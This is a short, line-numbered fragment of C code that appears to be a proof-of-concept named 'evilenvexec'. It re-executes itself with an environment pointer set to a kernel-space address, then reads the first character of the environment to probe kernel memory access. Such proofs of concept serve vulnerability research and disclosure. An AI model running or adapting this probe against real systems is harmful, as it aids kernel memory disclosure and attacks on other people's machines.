9 printf("trying to read the first char of the environment...\n");
11 printf("char read: %c\n", **environ);
16 char *newenv[] = {(char *)0xffffffff80008000, NULL};
17 char *argv[] = { "evilenvexec", "stage2", NULL };
18 execve("/proc/self/exe", argv, newenv);
19 printf("execve fail: %s\n", strerror(errno));
23 int main(int argc, char *argv[]) {
24 if (argc == 2) return main2();